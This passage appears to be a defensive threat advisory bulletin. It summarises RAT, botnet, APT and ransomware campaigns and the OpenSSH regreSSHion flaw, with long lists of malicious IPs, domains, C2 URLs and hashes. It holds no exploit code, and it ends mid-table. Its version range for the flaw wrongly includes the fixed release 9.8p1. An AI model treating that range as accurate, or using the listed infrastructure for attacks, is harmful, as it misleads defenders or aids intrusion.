**Cyber Security Advisories**

**Date: 30 August 2024**

1. **TA-PHI-2024-08-16-001**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

indianarmy.nic.in.aboutcase.nl  
indiacode.nic.in.admin-mcas-df.ms  
indiacode.nic.in.admin-mcas.ms  
indiacode.nic.in.mcas-df.ms  
indiacode.nic.in.mcas.ms  
indianarmy.nic.in.aboutcase.nl  
amssdelhi.gov.in.admin-mcas-df.ms  
amssdelhi.gov.in.admin-mcas.ms  
amssdelhi.gov.in.mcas-df.ms  
amssdelhi.gov.in.mcas.ms  
crsorgi.gov.in.crsorgi-goy.in  
crsorgi.gov.in.orgi.live  
sebi.gov.in.admin-mcas-df.ms  
sebi.gov.in.admin-mcas.ms  
sebi.gov.in.mcas-df.ms  
sebi.gov.in.mcas.ms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-16-013**

Reference is made to earlier advisory with Advisory No: Adv/2024/Jul/008, Subject: Cyber Security Advisory: SparkRAT Malware dated 01 Jul 2024.

SparkRAT is a cross-platform and full-featured Remote Administration Tool (RAT) written in Go. Its capabilities include file and process management, file transfer, remote desktop monitoring and screen capture, system information collection, and terminal access for command execution, among others. SparkRAT uses the WebSocket protocol for communication with the Command & Control (C2) server and features an upgrade system that allows it to automatically update to the latest version available on the C2 server upon startup.

**Impacts**:

* Personal Information Loss.
* The malware can download and execute additional malicious software, granting attackers control over the system.

**Capabilities:**

* It can capture system information, create files, create processes, delete files, and download files to the victim system.
* It can restart or shut down the operating system, capture screenshots, self-update to the latest version, and terminate running processes.

**Distribution Methods:**

* Phishing Emails with context-aware themes and malicious attachments or links.
* Disguised Software: Poses as game cheats or other legitimate programs to trick users into downloading it.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

103.108.41.146

38.54.94.13

67.217.62.106

138.68.127.131

37.1.213.121

38.54.94.13

175.178.126.203

101.43.187.44

47.97.185.22

117.50.76.61

83.221.206.30

110.42.250.96

170.64.181.207

84.32.214.103

103.253.43.208

47.236.43.52

103.108.41.147

103.118.41.11

137.184.68.203

211.155.101.2

121.37.111.182

27.124.40.170

27.124.40.175

38.154.74.20

46.254.21.214

118.190.161.229

101.35.198.64

157.119.101.234

23.224.176.82

1.94.11.195

161.35.28.74

116.62.145.180

45.145.229.159

47.96.129.195

116.63.145.255

120.220.61.6

103.108.41.148

15.168.125.19

185.56.139.92

43.136.35.213

47.105.208.58

1.15.135.238

31.41.221.123

63.250.53.103

23.225.14.151

154.90.48.200

67.219.106.134

140.238.9.202

47.106.152.139

68.168.211.94

139.180.180.177

27.124.40.169

38.60.199.70

8.149.228.52

58.37.81.238

154.90.44.78

121.4.140.182

107.175.254.117

8.210.81.164

106.54.232.49

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-16-12**

It has been observed that the "Quad7 botnet", aka Botnet 777, is a network of around 10,000 nodes engaged in stealthy brute-force attacks on Microsoft Azure, using TCP port 7777. The botnet’s operations involve compromising routers, mainly infecting Asus, TP-LINK routers and IP cameras. The Quad7 botnet remains active and resilient, with evolving tactics and many compromised devices.

**Impacts:** Account compromise, sensitive Data Exposure, and reputation Damage etc.

**Affected Systems/Assets**: Microsoft Azure instances, Asus and TP-LINK routers.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

151.236.20.185

151.236.20.211

104.168.152.139

142.11.205.164

23.227.196.73

23.254.201.175

23.254.209.118

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-16-009**

Reference is made to earlier advisories on the AsyncRAT malware.  
  
ASYNCRAT, a backdoor written in .NET, uses a unique binary protocol to communicate over TCP. The backdoor has the ability to run shell commands and download plugins, which may be kept in the registry or run immediately in memory. The downloaded Plugins can add features like file transfer, keylogging, video recording, screenshot capture, and cryptocurrency mining. Additionally, ASYNCRAT provides a plugin that targets login credentials kept by web browsers running on Chromium and Firefox. Adversary after execution, establishes communication with the Command & Control (C2) server and allows remote control of the compromised systems.

**Impacts:**

1. Remotely control of the compromised systems.
2. Execute remote commands, Log keystrokes, Exfiltrate data and deploy additional malware.
3. AsyncRAT can be used to spread laterally across the network, potentially infecting other systems and creating a broader security breach.
4. AsyncRAT often includes features to evade detection and maintain persistence in the infected system, making it challenging to remove and recover from the infection.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**103.170.118.35  
104.168.33.53  
104.243.32.103  
109.206.240.5  
121.182.123.212  
135.148.113.4  
139.180.143.50  
141.95.84.40  
15.165.236.45  
154.12.250.38  
156.96.156.177  
157.20.182.5  
172.104.148.228  
173.234.105.145  
175.203.53.37  
176.113.115.123  
178.62.232.196  
185.213.155.163  
185.225.73.150  
185.244.29.175  
190.213.78.26  
193.142.146.212  
193.161.193.99  
193.203.238.54  
194.59.218.147  
194.9.172.60  
198.23.212.148  
2.224.144.191  
2.58.56.106  
20.25.94.83  
207.180.221.51  
208.109.33.30  
209.126.85.216  
217.195.153.131  
23.105.131.196  
23.105.131.209  
3.88.20.74  
40.113.131.31  
45.133.174.122  
45.141.215.63  
45.144.154.150  
45.154.98.134  
45.80.158.127  
46.196.26.192  
63.141.237.188  
65.108.24.87  
74.124.24.29  
79.134.225.121  
79.134.225.69  
79.134.225.88  
84.54.50.51  
91.109.180.8  
91.109.186.3  
91.192.100.52  
91.193.75.188  
  
**Domains:**0.tcp.ngrok.io  
0.tcp.sa.ngrok.io  
17.ip.gl.ply.gg  
2.tcp.eu.ngrok.io  
4.tcp.eu.ngrok.io  
4.tcp.ngrok.io  
5.tcp.eu.ngrok.io  
6.tcp.eu.ngrok.io  
6.tcp.ngrok.io  
7.tcp.eu.ngrok.io  
8msv1-44955.portmap.host  
above-installed.gl.at.ply.gg  
acab.publicvm.com  
ads-jeremy.gl.at.ply.gg  
anahowaanaa.ddnsfree.com  
ancy2024.kozow.com  
anothonesevenfivesecsned.ddns.net  
asdofugugja883.xyz  
asdugvua37vhax.cn  
axels.ddns.net  
azurecloud-bridge.cn  
bannlasyu.duckdns.org  
baramoda.4cloud.click  
beshomandotestbesnd.run.place  
bestsuccess.ddns.net  
bestthinkever.barrell-of-knowledge.info  
blue.o7lab.me  
boring-brook-55548.pktriot.net  
bukra.from-az.net  
carlitosmoreno1791.duckdns.org  
carlos1.con-ip.com  
cfc8522bc8db.ofalias.net  
cholitoloco.ddns.net  
chongmei33.publicvm.com  
cucdoi.ddns.net  
dashboard.ngrok.com  
ddtankx.ddns.net  
deadpoolstart2025.con-ip.com  
dgorijan20785.hopto.org  
dmx123.ddns.net  
dott0077.ddns.net  
empty-leaf-37527.pktriot.net  
enviofinal.kozow.com  
eu-central-7075.packetriot.net  
frajerte-37406.portmap.io  
furioso.con-ip.com  
gia.o7lab.me  
gmlgml.zz.am  
goofy-sky-47030.pktriot.net  
googlee.con-ip.com  
grogrogrogro.ddnsgeek.com  
gumball2004.ddns.net  
hadevndz2031.ddns.net  
hicham157484.ddns.net  
highlifesearch.net  
iigonnafuckyou.ddns.net  
iraq-mn.gl.at.ply.gg  
jnmanymen.ydns.eu  
jvjv2044duck33.duckdns.org  
kmb01.giize.com  
lists-probably.gl.at.ply.gg  
maiichoommbbsendaya5577.ddns.net  
mango-msy.xyz  
marianalopezcamargo09.duckdns.org  
mertkalix.duckdns.org  
message-distributed.gl.at.ply.gg  
miguel2024.kozow.com  
mila.publicvm.com  
mo1010.duckdns.org  
mother231-36616.portmap.host  
nergsy.ddns.net  
newstartagain.servequake.com  
newstartagain50.duckdns.org  
niglet29421.hopto.org  
nonstoprat.duckdns.org  
parsher.ddnsfree.com  
pastebin.ai  
phm1.ddns.net  
poder.kozow.com  
populotis.ddns.net  
qa.riu.one  
r1m5ttt.ddns.net  
randompx3.ddns.net  
rat235655.duckdns.org  
rattedgg.duckdns.org  
remcosrat.ddns.net  
remotald.duckdns.org  
rentry.co  
ronymahmoud.casacam.net  
salah2.webredirect.org  
sashacorp.ddns.net  
seoudy.duckdns.org  
server.underground-cheat.xyz  
seznam.zapto.org  
shady-mo.duckdns.org  
shijiazhuang-5b072fbb.ofalias.net  
shitiwillfu.ddns.net  
spa30jul.duckdns.org  
thing-wine.gl.at.ply.gg  
timpanywalton.com  
tnmr.ddns.net  
tr3.localto.net  
trabajo-nuevo.duckdns.org  
twart.myfirewall.org  
webdecision.buyshouses.net  
whiteshadows.ddns.net  
wins22jul.duckdns.org  
xcode001.ddns.net  
xcode01.ddnsgeek.com  
xonxen.dnsalias.com  
yoda2024.sytes.net  
zakifail.hopto.org **URLs:**http://console.protonvpn.tw:8080/www  
https://dashboard.ngrok.com/get-started/setup  
tcp://0.tcp.eu.ngrok.io:12261  
tcp://0.tcp.eu.ngrok.io:14060  
tcp://0.tcp.eu.ngrok.io:14118  
tcp://0.tcp.eu.ngrok.io:1604  
tcp://0.tcp.eu.ngrok.io:1605  
tcp://0.tcp.eu.ngrok.io:17165  
tcp://0.tcp.eu.ngrok.io:17628  
tcp://0.tcp.eu.ngrok.io:19235  
tcp://0.tcp.ngrok.io:16409  
tcp://0.tcp.sa.ngrok.io:13868  
tcp://0.tcp.sa.ngrok.io:16522  
tcp://100.120.51.122:7547  
tcp://103.174.191.71:6606  
tcp://103.174.191.71:7707  
tcp://103.174.191.71:8808  
tcp://104.243.32.103:7000  
tcp://147.185.221.17:39129  
tcp://147.185.221.17:8847  
tcp://147.185.221.20:18563  
tcp://147.185.221.20:9835  
tcp://147.185.221.21:1604  
tcp://147.185.221.21:45415tcp://147.185.221.21:54414  
tcp://154.216.20.242:5000  
tcp://17.ip.gl.ply.gg:39129  
tcp://17.ip.gl.ply.gg:8847  
tcp://176.111.174.140:6606  
tcp://176.111.174.140:7707  
tcp://176.111.174.140:8808  
tcp://193.161.193.99:1194  
tcp://193.161.193.99:39886  
tcp://193.161.193.99:41111  
tcp://193.161.193.99:6606  
tcp://193.161.193.99:7707  
tcp://193.161.193.99:8000  
tcp://193.161.193.99:8808  
tcp://194.26.192.202:1010  
tcp://194.55.186.129:5000  
tcp://194.55.186.129:6606  
tcp://195.88.218.76:6606  
tcp://2.tcp.eu.ngrok.io:11950  
tcp://2.tcp.eu.ngrok.io:19699  
tcp://209.126.4.168:7780  
tcp://216.189.134.79:6606  
tcp://216.189.134.79:7707  
tcp://216.189.134.79:8808  
tcp://4.tcp.eu.ngrok.io:14654  
tcp://4.tcp.eu.ngrok.io:18238  
tcp://4.tcp.ngrok.io:19914  
tcp://45.90.13.137:7707  
tcp://5.252.165.55:1986  
tcp://5.252.165.55:1987  
tcp://5.63.21.76:1604  
tcp://5.tcp.eu.ngrok.io:14030  
tcp://5.tcp.eu.ngrok.io:19942  
tcp://5.tcp.eu.ngrok.io:6606  
tcp://5.tcp.eu.ngrok.io:7707  
tcp://5.tcp.eu.ngrok.io:8808  
tcp://6.tcp.eu.ngrok.io:12229  
tcp://6.tcp.eu.ngrok.io:13658  
tcp://6.tcp.eu.ngrok.io:1604  
tcp://6.tcp.eu.ngrok.io:6606  
tcp://6.tcp.eu.ngrok.io:7707  
tcp://6.tcp.eu.ngrok.io:8080  
tcp://6.tcp.eu.ngrok.io:8808  
tcp://6.tcp.ngrok.io:13280  
tcp://62.146.181.209:6606  
tcp://62.146.181.209:7707  
tcp://62.146.181.209:8808  
tcp://67.207.166.181:4417tcp://74.58.39.110:25394tcp://74.58.39.110:6606  
tcp://74.58.39.110:7707  
tcp://74.58.39.110:8808  
tcp://77.90.14.98:3131  
tcp://77.90.14.98:6606  
tcp://77.90.14.98:7707  
tcp://77.90.14.98:8808  
tcp://78.169.145.67:1604  
tcp://8.tcp.ngrok.io:17515  
tcp://8msv1-44955.portmap.host:44955  
tcp://8msv1-44955.portmap.host:6606  
tcp://8msv1-44955.portmap.host:7707  
tcp://8msv1-44955.portmap.host:8808  
tcp://above-installed.gl.at.ply.gg:63717  
tcp://ads-jeremy.gl.at.ply.gg:39129  
tcp://ads-jeremy.gl.at.ply.gg:8847  
tcp://anahowaanaa.ddnsfree.com:1111  
tcp://ancy2024.kozow.com:1234  
tcp://anothonesevenfivesecsned.ddns.net:6666  
tcp://asyx.duckdns.org:46450  
tcp://bannlasyu.duckdns.org:6606  
tcp://bannlasyu.duckdns.org:7707  
tcp://bannlasyu.duckdns.org:8808  
tcp://baramoda.4cloud.click:6606  
tcp://baramoda.4cloud.click:7000  
tcp://baramoda.4cloud.click:7707  
tcp://baramoda.4cloud.click:8808  
tcp://bestsuccess.ddns.net:2442  
tcp://bestthinkever.barrell-of-knowledge.info:51555  
tcp://blue.o7lab.me:7777  
tcp://boring-brook-55548.pktriot.net:1604  
tcp://boring-brook-55548.pktriot.net:22889  
tcp://bukra.from-az.net:51555tcp://carlitosmoreno1791.duckdns.org:2018  
tcp://carlos1.con-ip.com:6606  
tcp://cfc8522bc8db.ofalias.net:44241  
tcp://cfc8522bc8db.ofalias.net:54704  
tcp://deadpoolstart2025.con-ip.com:5090  
tcp://dott0077.ddns.net:6666  
tcp://empty-leaf-37527.pktriot.net:1999  
tcp://empty-leaf-37527.pktriot.net:22261  
tcp://enviofinal.kozow.com:5051  
tcp://eu-central-7075.packetriot.net:1604  
tcp://eu-central-7075.packetriot.net:22253  
tcp://eu-central-7075.packetriot.net:6606  
tcp://eu-central-7075.packetriot.net:7707  
tcp://eu-central-7075.packetriot.net:8808  
tcp://furioso.con-ip.com:6606  
tcp://gia.o7lab.me:5000  
tcp://goofy-sky-47030.pktriot.net:1604  
tcp://goofy-sky-47030.pktriot.net:22260  
tcp://googlee.con-ip.com:6606  
tcp://grogrogrogro.ddnsgeek.com:4444  
tcp://hadevndz2031.ddns.net:20244  
tcp://hicham157484.ddns.net:1994  
tcp://iraq-mn.gl.at.ply.gg:54391  
tcp://jnmanymen.ydns.eu:1470  
tcp://jvjv2044duck33.duckdns.org:6606  
tcp://jvjv2044duck33.duckdns.org:7707  
tcp://jvjv2044duck33.duckdns.org:8808  
tcp://kmb01.giize.com:6666  
tcp://maiichoommbbsendaya5577.ddns.net:5555  
tcp://mango-msy.xyz:1920  
tcp://mango-msy.xyz:1999  
tcp://mango-msy.xyz:2812  
tcp://mango-msy.xyz:4444  
tcp://mango-msy.xyz:5555  
tcp://mango-msy.xyz:6666  
tcp://mango-msy.xyz:7777  
tcp://mango-msy.xyz:8888  
tcp://mango-msy.xyz:9999tcp://maucbne.dnsdojo.net:6606  
tcp://maucbne.dnsdojo.net:7707  
tcp://maucbne.dnsdojo.net:8808  
tcp://message-distributed.gl.at.ply.gg:60134  
tcp://miguel2024.kozow.com:2020  
tcp://mila.publicvm.com:6606  
tcp://mila.publicvm.com:7707  
tcp://mila.publicvm.com:8808  
tcp://mo1010.duckdns.org:3030  
tcp://mother231-36616.portmap.host:6606  
tcp://mother231-36616.portmap.host:7707  
tcp://mother231-36616.portmap.host:8808  
tcp://mother231-36616.portmap.host:8999  
tcp://nafas.linkpc.net:49  
tcp://newstartagain.servequake.com:6606  
tcp://newstartagain.servequake.com:7707  
tcp://newstartagain.servequake.com:8808  
tcp://newstartagain50.duckdns.org:6606  
tcp://newstartagain50.duckdns.org:7707  
tcp://newstartagain50.duckdns.org:8808  
tcp://parsher.ddnsfree.com:6606  
tcp://parsher.ddnsfree.com:7707  
tcp://parsher.ddnsfree.com:8808  
tcp://poder.kozow.com:9090  
tcp://qa.riu.one:1420  
tcp://remotald.duckdns.org:8808  
tcp://ronymahmoud.casacam.net:6606  
tcp://ronymahmoud.casacam.net:7707  
tcp://ronymahmoud.casacam.net:8808  
tcp://salah2.webredirect.org:90  
tcp://seoudy.duckdns.org:6606  
tcp://seoudy.duckdns.org:7707  
tcp://seoudy.duckdns.org:8808  
tcp://server.underground-cheat.xyz:7777  
tcp://seznam.zapto.org:6606  
tcp://seznam.zapto.org:7707  
tcp://seznam.zapto.org:8808  
tcp://shady-mo.duckdns.org:9090tcp://shijiazhuang-5b072fbb.ofalias.net:44241  
tcp://shijiazhuang-5b072fbb.ofalias.net:54704  
tcp://spa30jul.duckdns.org:9003  
tcp://thing-wine.gl.at.ply.gg:55280  
tcp://timpanywalton.com:2850  
tcp://tr3.localto.net:8979  
tcp://tr3.localto.net:9208  
tcp://trabajo-nuevo.duckdns.org:3000  
tcp://twart.myfirewall.org:14143  
tcp://webdecision.buyshouses.net:51555  
tcp://wins22jul.duckdns.org:9003  
tcp://xcode001.ddns.net:1001  
tcp://xcode001.ddns.net:1002  
tcp://xcode001.ddns.net:1003  
tcp://xcode001.ddns.net:1004  
tcp://xcode001.ddns.net:1005tcp://xcode001.ddns.net:2001tcp://xcode001.ddns.net:2002  
tcp://xcode001.ddns.net:2003  
tcp://xcode001.ddns.net:2004  
tcp://xcode001.ddns.net:2005  
tcp://xcode001.ddns.net:222  
tcp://xcode001.ddns.net:5005  
tcp://xcode001.ddns.net:6606  
tcp://xcode001.ddns.net:7707  
tcp://xcode001.ddns.net:8080  
tcp://xcode001.ddns.net:8808tcp://xcode01.ddnsgeek.com:2001tcp://xcode01.ddnsgeek.com:2002tcp://xcode01.ddnsgeek.com:2003  
tcp://xcode01.ddnsgeek.com:2004  
tcp://xcode01.ddnsgeek.com:2005  
tcp://xcode01.ddnsgeek.com:222  
tcp://xcode01.ddnsgeek.com:6006  
tcp://xcode01.ddnsgeek.com:6606  
tcp://xcode01.ddnsgeek.com:7707tcp://xcode01.ddnsgeek.com:8808  
tcp://xonxen.dnsalias.com:6666  
tcp://yoda2024.sytes.net:47401tcp://zakifail.hopto.org:7707

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-08-16-002**

It has been observed that Earth Baku, an Advanced Persistent Threat (APT) group linked to APT41, is targeting public-facing applications, particularly IIS servers to deploy the Godzilla webshell, which allows to maintain control over compromised systems. Thereafter, adversaries deployed the StealthVector and StealthReacher loaders, which facilitated the installation of Cobalt Strike and a new backdoor called SneakCross. SneakCross, a modular backdoor that utilizes Google services for Command& Control (C2) communication, uses Windows Fibers to avoid detection by network protection products and Endpoint Detection and Response (EDR) solutions. During the post-exploitation phase, Earth Baku deploys various tools for persistence and exfiltration.

Impacts: Information gathering and exfiltration

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

5.182.207.28

78.108.216.20

212.87.212.115

**HASHES:**

7e63c6b9ab3b32beffbc1eb23d6ca7cc59616b0722f0dd4f0d893c0a1724f5d7

8405d742405d3a6d3bda6bc49630dd5f3604a3d6ae27cbd533e425f8abbaafdc

a50f85c71b69563ba42bf04c937e1063244ca4957231d3adac76f1c96ab42d3c

ab56501167fe689fe55f6e6ddc3bb91952299bd5c3ef004b02bf1c3b4061c7cf

ec10a9396dca694fe64366e0dab82d046cf92457f97efd50a68ceb85adef6b74

73eaba82ef1c502448e533007e92b1afa879b09f85f28b71648668ea62839ff5

0faddbe1713455e3fc9777ec45adf07b28e24f4c3ddca37586c2aa6b539898c0

1c88150ec85a07c3db5f18c5eedcb0b653467b897af01d690ed996e5e07ba8e3

3e52c310c6556367ff9e18448bc41719e603d1cbbdafdcba736c6565529617b6

07aa971f0791b06dd442d4c7a49c1d3d27a1cbb16602f731e870b5ef50edf69e

166b6dcdac31f4bf51e4b20a7c3f7d4f7017ca0c30fa123d5591e25c3fa66107

21fc0f50d545c0a373380934dc61c423c8a31d8c3e6eae4f8a35149ad9962d88

7586e58a569c2a07d0b3a710616f48833a040bf3fc57628bbdec7fcb462d565a

22a50cea6ad67a7e8582d2cd4cdc3eaaf57c0fbe8cd062a9b15710166e255a86

c6a3a1ea84251aed908702a1f2a565496d583239c5f467f5dcd0cfc5bfb1a6db

073b35ecbd1833575fbfb1307654fc532fd938482e09426cfb0541ad87a04f75

7463700ec5768d4af6549028465f978059611555aa8e22e2b7c664b1cdbfa9ae

cdcbd9c25e06ac6da5497fa19459d0007449ec1a3e6bc591334db6fb3598aecb

7f24bc080281d250ec88493e5803e488721a17c9382cd54ba8dfbcb785f23a88

e4360c0aa995e6e896b22bb7725a6c9b189be8606e7cbbc8b6e80c606358649d

83de8917bf0ac1d670acf27431015215db872b7291979312dd65e30d99806abb

ec5a96f42aeccdf9a3ae4c3650689606c8539fd65c0b47f30887afecb901be43

c02accc26a389397fb172f83258baa8a974986ffd706ba708a3b0a679f61be56

e5f1360d4c299bb32e33e081115f2b520251a983af2ebc649b4b9b70308246fe

**DOMAIN:**

www.sitennews.com

track.cdn78544.ru

www.cdn7854.workers.dev

www.mircoupdate.https443.net

update-chrome.realgodad.workers.dev

shrill-tooth-b557.vgfjuic.workers.dev

icy-bar-c375.microsoft-updates.workers.dev

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-16-010**

It has been observed that SolarMarker Remote Access Trojan (RAT), also known as Polazert, Yellow Cockatoo and Jupyter, has been developed on the Microsoft .NET framework. Adversaries use Google search redirection and drive-by compromise tactics to drop the SolarMarker RAT on the host system. SolarMarker RAT is capable of collecting the following types of information from the infected system like computer name, Operating System (OS), system architecture, Data about the current user, credentials stored in the web browser.

**Impacts**:

* Personal Information Loss.
* The malware can download and execute additional malicious software, granting attackers control over the system.

**Affected Systems/Assets:**

* Web Browsers (Saved Credentials): Captures usernames and passwords stored in web browsers like Chrome, Firefox, Edge, and others.
* Cookies and Session Tokens: Steals cookies and session tokens to maintain or hijack sessions. Malware can extract saved login details.
* Files server and Remote Desktop Access Applications Steals credentials for FTP servers used for file transfers. Targets credentials for remote desktop services like RDP (Remote Desktop Protocol) or VNC (Virtual Network Computing). Cryptocurrency Wallets: Digital wallets used for managing cryptocurrencies.
* Email Accounts: Captures login information for email accounts from various providers.
* Documents and Files: Steals documents and files from the local file system and may target files stored in cloud services if credentials for such services are captured.

**Distributions Methods:**

* Phishing Emails with context aware themes and malicious attachment or links
* Malvertising: Spread through malicious online ads.
* Disguised Software: Poses as game cheats or other legitimate programs to trick users into downloading it.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

146.70.80.66

193.29.104.25

217.138.215.105

185.236.203.159

23.29.115.186

212.237.217.136

146.70.145.242

146.70.80.83

185.243.113.47

185.243.115.88

217.138.215.79

146.70.160.62

2.58.15.214

46.30.188.221

91.206.178.133

193.29.56.179

212.237.217.133

2.58.14.183

78.135.73.176

45.86.163.163

212.237.217.156

67.43.234.109

146.70.71.135

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-08-16-009**

It has been observed that a new ransomware family called "LostInfo" has the ability to alter the filenames of affected files by appending a random ID and the extension “.lostinfo”. After encryption, the adversary generates a ransom note titled “README.TXT” that warns the victim that their files have been encrypted. Adversary has capabilities that include enumerating files and directories, shutting down operating processes, delaying execution, retreiving the logged-in user's username, querying system information, and verifying default system language.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES**6718cb66521a678274e5672285bf208eac375827d622edcf1fe7eba7e7aa65e0

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-19-014**

It has been observed that DarkCrystal RAT also known as DCRat is a backdoor which operates as a Malware-as-a-Service (MaaS). It has been associated with various malware families such as BlackMatter, Cerber, Cobalt Strike, Ficker Stealer, QakBot, REvil, and Ryuk. It uses SSL/TLS certificates for its command and control communications. The malware allows threat actors to gain unauthorized access to infected systems and perform various malicious activities such as data theft and system control. It can steal information from the following sources like Browser cookies, Browser stored passwords ,Browser stored form content ,Browser history ,Stored credit cards (via Windows DPAPI & Chrome SQLite Database),Telegram, Discord tokens, keyloggers, etc.

**Impacts:**

1. The RAT may employ techniques to ensure it remains on the system even after initial cleanup attempts. These mechanisms make it difficult to identify and remove the RAT.

2. Installation of Additional Malware: Once the RAT is on a system, attackers can use it to install other types of malware, including ransomware, spyware, or additional RATs.

3. The RAT can be used to spread laterally across a network, potentially compromising other systems and increasing the scope of the attack.

4. System Manipulation: The RAT can be used to modify system settings, install additional malware, and perform other actions that compromise the integrity of the system.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

1.23.216.249

1.23.216.6

103.140.155.26

103.15.255.128

103.155.3.96

103.175.180.31

103.175.75.231

103.186.41.84

103.217.242.247

106.219.186.248

106.222.216.246

106.76.244.16

110.226.173.54

115.99.76.34

117.207.13.199

122.172.61.28

122.173.50.168

146.196.47.184

152.58.197.127

152.58.208.195

152.58.238.146

152.58.77.35

152.59.102.61

152.59.37.135

152.59.90.116

157.48.120.233

175.101.108.163

27.6.189.22

49.36.24.246

49.47.218.168

49.47.218.233

67.205.154.243

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-08-21-004**

Reference is made to earlier advisory with Advisory No: Adv/2024/Jul/038, subject: CRITICAL VULNERABILITIES IN OPENSSH dated 18 Jul 2024.

The regreSSHion vulnerability (CVE-2024-6387) represents a serious security threat to Linux systems running affected versions of OpenSSH (8.5p1 to 9.8p1). Here’s a summary of the issue and mitigation strategies:

**Vulnerability Overview:**

* Name: regreSSHion (CVE-2024-6387)
* Affected Software: OpenSSH versions 8.5p1 to 9.8p1
* Impact: Remote Code Execution (RCE) as root due to a timing flaw in the signal handling process, leading to potential full system compromise.
* Severity: Critical

**Risk Assessment:**

The flaw allows unauthenticated remote attackers to exploit the timing issue, gaining root-level access to systems. This could lead to severe security breaches, making it essential to address the vulnerability promptly.

**Potential Impact on Affected Systems:**

|  |  |
